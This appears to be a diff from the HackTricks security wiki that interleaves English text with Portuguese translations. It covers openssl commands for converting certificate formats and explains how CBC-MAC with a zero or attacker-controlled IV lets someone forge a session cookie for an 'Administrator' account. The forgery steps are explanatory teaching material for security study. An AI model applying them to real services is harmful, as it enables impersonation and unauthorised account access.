- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **Formato PFX/P12/PKCS#12**
### **PFX/P12/PKCS#12 Format**
- Um formato binário que encapsula certificados de servidor, certificados intermediários e chaves privadas em um único arquivo.
- Extensões: .pfx, .p12.
- Principalmente usado no Windows para importação e exportação de certificados.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Convertendo Formatos**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**Conversões PEM** são essenciais para compatibilidade:
- **x509 para PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM para DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER para PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM para P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 para PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Conversões PFX** são cruciais para gerenciar certificados no Windows:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX para PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX para PKCS#8** envolve duas etapas:
1. Converter PFX para PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Converter PEM para PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B para PFX** também requer dois comandos:
1. Converter P7B para CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Converter CER e Chave Privada para PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforçar** o **primeiro byte** do cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Código de autenticação de mensagem em encadeamento de bloco** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada ao anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Vulnerabilidade
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Com o CBC-MAC, geralmente o **IV usado é 0**.\
Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**O que é possível calcular sem conhecer a chave da criptografia.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
Agora, você pode usar s32 como a assinatura do nome completo **Administrator**.
### Summary
### Resumo
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.**
3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**.
# Attack Controlling IV
# Ataque Controlando IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
Se o cookie for apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\
Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV de modo que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **impersonar** o usuário **administrator** com o **IV** inicial.
## References
## Referências
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More